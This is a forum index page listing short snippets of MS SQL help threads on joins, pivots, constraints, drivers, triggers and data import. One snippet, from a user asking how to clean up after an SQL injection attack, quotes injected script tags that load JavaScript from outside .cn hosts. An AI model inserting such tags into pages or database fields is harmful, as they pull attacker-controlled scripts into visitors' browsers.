2,935 Topics

Member Avatar for
Member Avatar for agr8lemon

Hello! I'm hoping that you can help me Alter a SQL table to provide a unique constraint over 2 columns. For instance let's say I have a departments table called Dpt_tbl with two columns that I want to be unique Name Location So I want to make sure that you …

Member Avatar for achied
0
207
Member Avatar for George.Storm

Hi, Not sure if this is right place to post this, please move if needed. I set up a web form so that the text from a set of text boxes was inserted into a database when you 'submitted' the form Since then I have added some validation to the …

Member Avatar for George.Storm
0
128
Member Avatar for vsmash

General Question, no code: I have the daunting task of automating the import of mysql, ms sql and ms access into a central location. I've nailed the microsoft crap using ms sql DTS but even with mysql odbc drivers, cant seem to nail that one. The optional is that I …

Member Avatar for Ezzaral
0
82
Member Avatar for baso10

Hello, can you help me convert MS SQL DateTime to miliseconds since 1970? Thanks, Domen

Member Avatar for baso10
0
166
Member Avatar for danturn

DOH spelt thread name wrong... should be query! This is surely simple... this is the end of my query [CODE]where CCM0300.dbo.Device.tkModel= '72' AND CCM0300.dbo.NumPlan.DNOrPattern like '31455' OR CCM0300.dbo.NumPlan.DNOrPattern like '38600' OR CCM0300.dbo.NumPlan.DNOrPattern like '36305' OR CCM0300.dbo.NumPlan.DNOrPattern like '36805' OR CCM0300.dbo.NumPlan.DNOrPattern like '38285'[/CODE] what this is meant to do is return …

Member Avatar for danturn
0
93
Member Avatar for Griggsy

Hi I need to create an SQL to retrieve the max date for each change in stock code. can anyone assist please? I am extremely new to SQl. I used access to get external data but it drags down 60,000 odd lines. i only have 5000 line items so with …

Member Avatar for pclfw
0
127
Member Avatar for prisonbreaker82

Dear all, I am very new at SQL programming and are using the Microsoft Query to avoid alot of SQL programming, but I am stuck on one thing when I try to filter some data from the database... I want to show all delayed deliveries to our customers... Our Policy …

Member Avatar for pclfw
0
199
Member Avatar for homer.favenir

hi i have a query and i want to use it in remote server when i try to run it in my machine it executes ok. but in remote server it cannot be executed. im connected to the remote server and i can view all the records in the table. …

Member Avatar for homer.favenir
0
315
Member Avatar for Suicidal_tool

Just struggling through my SQL coursework, and already fallen over the first stubling block :( My case study tells me that i need to put a foreign key from my centre table (parent) to my salesman table (child) on a 1-1 relationship. Trying to add my foreign key, which is …

Member Avatar for Suicidal_tool
0
133
Member Avatar for c.vaibhav

Hi friends, I am new to SQL.. I have a table with 200 rows and 100 columns.. I want to extract unique rows from this table such that no two row are more than 60% similar.. this 60% is a variable and would be user defined.. I have attached an …

Member Avatar for pclfw
0
129
Member Avatar for aig3

I have created a form in which there are various values such as Name, Address, Date of Birth etc. The user is also allowed to select an image in a picture box. I want to insert these values along with the Image into database in appropriate columns. Any help is …

Member Avatar for fatihpiristine
0
408
Member Avatar for vedro

Hello I have 2 databases, one is like a backup for the other. So they have identical tables: Alarmi, which has columns: OBJEKT, OPIS, VREDNOST, START, E_A, UPORABNIK I want to compare those two tables and copy only new entries (rows) to the backup database. How can I do that? …

Member Avatar for vedro
0
333
Member Avatar for Hakoo

Hello, I have downloaded "Microsoft SQL Server JDBC Driver 3.0" and tried sample code. I added "sqljdbc.jar" and "sqljdbc4.jar" in Libraries. But getting error, [COLOR="Red"]java.sql.SQLException: No suitable driver found for jdbc:sqlserver:bug_tracking at java.sql.DriverManager.getConnection(DriverManager.java:602) at java.sql.DriverManager.getConnection(DriverManager.java:185) at Main.main(Main.java:18)[/COLOR] The code is given below : [CODE]import java.sql.*; public class Main { public …

Member Avatar for Hakoo
0
171
Member Avatar for ak.royan

Hi friends.When I try to connect to sql server 2008 from visual studio 2008 an error occurs : "A network-related or instance-specific error occurred while establishing a connection to SQL Server. The server was not found or was not accessible. Verify that the instance name is correct and that SQL …

Member Avatar for 1manik
0
68
Member Avatar for lekhanhvinh

I am creating a sample database and the work is so painful, I really wonder and need assistance to reduce my pain. I would like to create a "lookup Field" which returns the value (string) automatically from another table. Example, I have 2 tables - Department and Employee Department[DepartmentID, DepartmentName] …

0
71
Member Avatar for d3vlabs

web.config ConnectionString My Connection string for an application within iis to connect mssql db looks like this <add key="ConnectionString" value="server=localhost;database=search_parser_2;uid=DOMAIN\Administrator;pwd=password;Connect Timeout=1000000;" /> Yet the application wont get past the login script (where the sql connection is happening i presume). the database name is correct and the server name is correct …

0
70
Member Avatar for BigPandaCake

What I'm working on is a video rental project in visual basic 2008. I have a local database which contains info on DVDs, Members and a table for current rentals. [B]The columns i have in the current rentals table are:[/B] MemberID | DVDID | DaysOnRent | DateRented | DueDate | …

Member Avatar for BigPandaCake
0
187
Member Avatar for lekhanhvinh

I have 2 databases on my computer, managed in the same SQL Management Studio - named [B]DATABASE1[/B] and [B]DATABASE2.[/B] The two databases are different except they have 1 table is the same, this table is called [B]Employee[/B] Because this the content of this table should be the same, how could …

0
43
Member Avatar for Sinha's

Hello Everybody, I have used inner join with two tables to join them and tried to calculate the sum of rows. Now the table descriptions are- Table1- agent_business_collection (it stores business collection of an agent of different business packages) Table2 - agent_business_commission (it stores commission of an agent against different …

Member Avatar for woodsrr
0
181
Member Avatar for gabrielhuebsch

I am exporting a large amount of data from SQL Server 2005 to Excel. Most of the data appears as I want it to- without the exponential notation. Any values [I]smaller [/I]than 0.0001 (i.e. four zeros to the right of the decimal) are displayed as, for example, 7E-05 rather than …

0
110
Member Avatar for Rdz

I need to have a database of the online flight booking system. May i have some guidance ?

0
54
Member Avatar for Cman2020

Hello guys help pls i'm trying to populate data from MS Database to list-view [code] string Collect_FULL = "SELECT FirstName, MiddleName, LastName, " + " Gender, DoB, Dependents, Address + ', ' + City + ', ' + State + ', ' + ZipCode AS Address, PhoneNumber, MobileNumber " Status …

0
79
Member Avatar for Mici21

I was searching around but I could not find it: I'd like a tool(free or paid) that is able to manage multiple MySql servers from the same GUI. I know about few thick-client apps that do this, but I need one that you can use it from internet. So far …

Member Avatar for Mici21
0
64
Member Avatar for afrofish

Hi All, I am trying to convert the following access update query into TSQL without any luck: UPDATE tblCattle INNER JOIN tblFarmDetails ON tblCattle.strEartag = tblFarmDetails.EarTagNo SET curMartPrice = tblFarmDetails.MartPric WHERE (curMartPrice=0 Or curMartPrice Is Null); First I tried simply pasting in the query with no luck so below is …

Member Avatar for afrofish
0
261
Member Avatar for appleglaze28

I need to eliminate a record with almost exactly the same data except 1...for example: I have 4 Fields for Employee table: Employee Stat First Name Last Name Employee ID Active James Smith JOS Resigned James Smith JOS For some reason the table I'm querying has these data. How can …

Member Avatar for pritaeas
0
88
Member Avatar for OfirSh

I have a problem I have a long table with many costumers, each costumer have between 70-100 bills how can i get for each one his top 5, all the replies giving me only the top 5 of the first.(MsSQL!) 10X Ofir

Member Avatar for jaysapidocs
0
296
Member Avatar for Tank50

Hi I Create the tigger when update process happen in database.When the after update process happened ,tigger instert the new record into another table about that table locate in different server.I create linked server also ,once tigger execute it generate the Error message .Below I mention the error Message I …

Member Avatar for Tank50
0
125
Member Avatar for VBPartners

The site that i'm working on is [url]http://www.perfectbrewingsupply.com[/url]. The site seems to come up properly (after i reset a new user/pw in the config file) but when trying to access the database for zencart, i am still receiving the following error: 0 DB_ERROR_NOT_CONNECTED in: [select * from project_version WHERE project_version_key …

0
58
Member Avatar for Tunisien86

Hi guys, I have a problem when synchronizing web publication. I begin by giving you an insight into my soft installed: -sql-server 2005 -windows seven so IIS7 I created a publication MaPublication.I made a right click on publication-> Release Local> MaPublication then I chose to configure synchronization Web.Then, next-> sql …

0
48
Member Avatar for fabio533

I Got 2 tables: 'Standby' and 'Usage' [COLOR="Red"]Standby[/COLOR] Table got this fields: [COLOR="Red"]PartNº[/COLOR] (equipment id); [COLOR="Red"]Area [/COLOR](physical location); [COLOR="Red"]Stock1[/COLOR] (Nº Total of equipments); [COLOR="Red"]Usage[/COLOR] table got this fields: [COLOR="Red"]Quant_Used[/COLOR] (The times that the equipement is taken from Standby); [COLOR="Red"]Quant_Received[/COLOR] (The times that the equipement is restored to Standby); [COLOR="Red"]PartNº[/COLOR] (foreign …

0
92
Member Avatar for denny42

hello all in table1 I have Date Value 2/1/2010 100 2/2/2010 110 2/5/2010 95 3/4/2010 150 3/15/2010 220 etc how to sum the value according to it's month ? so I got Pebruary' sum value=315 March sum value =370 tq

Member Avatar for milenio
0
79
Member Avatar for freshfitz

How would I clean everhing after script got a sql injection attack Electric repeater beanie green<script src="http://nt010.cn/E/J.JS"></script><script src="http://nt004.cn/E/J.JS"></script> need to clean everything after <script>

Member Avatar for freshfitz
0
100
Member Avatar for brenn13

gud day.. is it possible to have a database with password? i mean not setting a password for database users, but for the database itself.. i do not want the database users to see what's inside of my tables.. is it possible?? thank you..

0
78
Member Avatar for noob2008

Hi ppl , Need some advise on my SQL coding . i have written some SQL code to draw and compare some data in which i was thrown back with an error of no Select statement after <> or any other expression . Can someone advise me of any walkaround …

Member Avatar for pritaeas
0
76
Member Avatar for lekhanhvinh

I would like to get information of an employee by his EmployeeKey - in my case : LastName, FirstName, Gender, and Title using ASP. Net - C# - then display this information to label (label.Text = return value) The SQL is simple - [code] use AdventureWorksDW SELECT [FirstName], [LastName],[Gender], [Title] …

0
71
Member Avatar for david.1982

Hi Everyone, I'm trying to figure out how to use OPENROWSET to copy data from a local database to a remote one. I am able to query data from the remote table, and update values without issue. Example to update: [CODE] update OPENROWSET('SQLOLEDB', 'www.xxx.yyy.xxx'; 'username'; 'password, 'SELECT * FROM dbname.dbo.tablename') …

0
82
Member Avatar for questionary

Hi. I am trying to load data from text file do table by BULK INSERT query. Command crashes on loading date field from text file to db. In the file there is a column where date is stored in the following format: [B]Mar 18 2008 3:40:25:153PM[/B]. The type of the …

Member Avatar for Geek-Master
0
86
Member Avatar for cjmartin

How can I get the sum of ‘ExpCounter’? I want to end up with Batch_Number and Sum of ExpCounter in my results. [CODE] select batch_number, sum(acount)/aSize as 'ExpCounter' from HMIExpCount2 where aDate >= '03/01/2010' and aDate <= '03/02/2010' and batch_number = '118705' group by batch_number, asize [/CODE] Thanks!

Member Avatar for pritaeas
0
87
Member Avatar for Geek-Master

Has anyone found any documentation on how to properly pass variables from a SQL Table over to another task within the Foreach Loop container? Basically I want to take two columns from a table and pass them into a stored procedure that will be executed within a SQL Task within …

0
243
Member Avatar for princekool

Hi guys; I have a table of books in my DB and each page has a different serial no following each other eg. Page 9 has serial 005065 and 10 has 005066. In my table it only gives me a range of serials as per the book, this is how …

Member Avatar for apegram
0
253
Member Avatar for terdie

hi guys, i have a situation let say a customer orders 3 items item A worth 300 item B worth 100 item C worth 500 He paid in full for items A,B and he paid a partial payment of 250 for item C now I have a receipt for full …

Member Avatar for hbmusic1
0
87
Member Avatar for VIeditorlover

Hi, is there a way how to (in transact sql) catch output from stored procedure which returns set (2 and more) of tables and move through it ??? thanks!

0
98
Member Avatar for terdie

good day guys, I have an order table and some stuffs, and the user can cancel an order. my question is: 1.] what is the best implementation of canceling an order in a database? Im sure I must create a table for canceled order or something right? 2.]Is it appropriate …

Member Avatar for ChrisPadgham
0
94
Member Avatar for Geekitygeek

I wrote a query yesterday and it ran fine. Today i inserted a new record and it has broken my query. Can anyone help me figure out why? Query: [CODE] WITH temp_orgChart (KitID, PartID, Quantity, iteration) AS ( SELECT KitID, PartID, Quantity, 0 FROM ItemParts WHERE KitID = 200185 UNION …

Member Avatar for Geekitygeek
0
103
Member Avatar for KEDAR01

plz hepl me ...... table_1 Name_____Date_________Ptype Keadr____22/2/2010____P Anup_____22/2/2010____P Deepak___22/2/2010____A Keadr____23/2/2010____P Anup_____23/2/2010____L Deepak___23/2/2010____A Keadr____24/2/2010____P Anup_____24/2/2010____P Deepak___24/2/2010____P I want To convert this table as Name_____22/2/2010____23/2/2010_____24/2/2010 Kedar____P____________P_____________P Anup_____P____________L_____________P Deepak___A____________A_____________P my query select * from table_1 PIVOT(MAX(Ptype)FOR[Date]IN([22/2/2010],[23/2/2010],[24/2/2010]))AS p i got result Name_____22/2/2010______23/2/2010______24/2/2010 Kedar Anup Deepak didnt get values in 22/2 ,23/2,24/3 col

0
59
Member Avatar for am_dumb

hy, i have 2 database. DB1 & DB2. i create SP in DB1. in the SP, i want to access table "TBL" in DB2. how can i create that SP?? [CODE] CREATE PROCEDURE test AS BEGIN ?????????? END; [/CODE] Thx,

Member Avatar for am_dumb
0
90
Member Avatar for lucky_ali0926

hi there......... i am using MS SQL i have made a database in MS SQL now i want to export to another computer (pc) ,,,,,, please help me out with this......... thanks

Member Avatar for samaru
0
91
Member Avatar for EddieC

Less than a year after launching its high performance computing strategy, Microsoft finds its [URL= http://www.microsoft.com/hpc/] HPC Server 2008[/URL] near the top of the heap. The Windows Server 2008 derivative placed 23rd on a list of the 500 top-performing supercomputers in the world, as measured by the [URL= http://www.ncsa.uiuc.edu/] National …

Member Avatar for Aamy1980
0
292
Member Avatar for sakhi kul

Hi , I want to create user defined data types in MS SQL 2008, So when I start MS SQL Server Management Studio -> Database here 'Adventure Work' is not appearing. ( I am referring this -http://www.mssqltips.com/tip.asp?tip=1628) how to enable that?:?: or is their any another way to declare user …

Member Avatar for sakhi kul
0
82
Member Avatar for virtualmisc

Hello Friends I wanted to make a same change in over 300 SQL scripts. Is there a way to automate this? Thanks

Member Avatar for samaru
0
89

The End.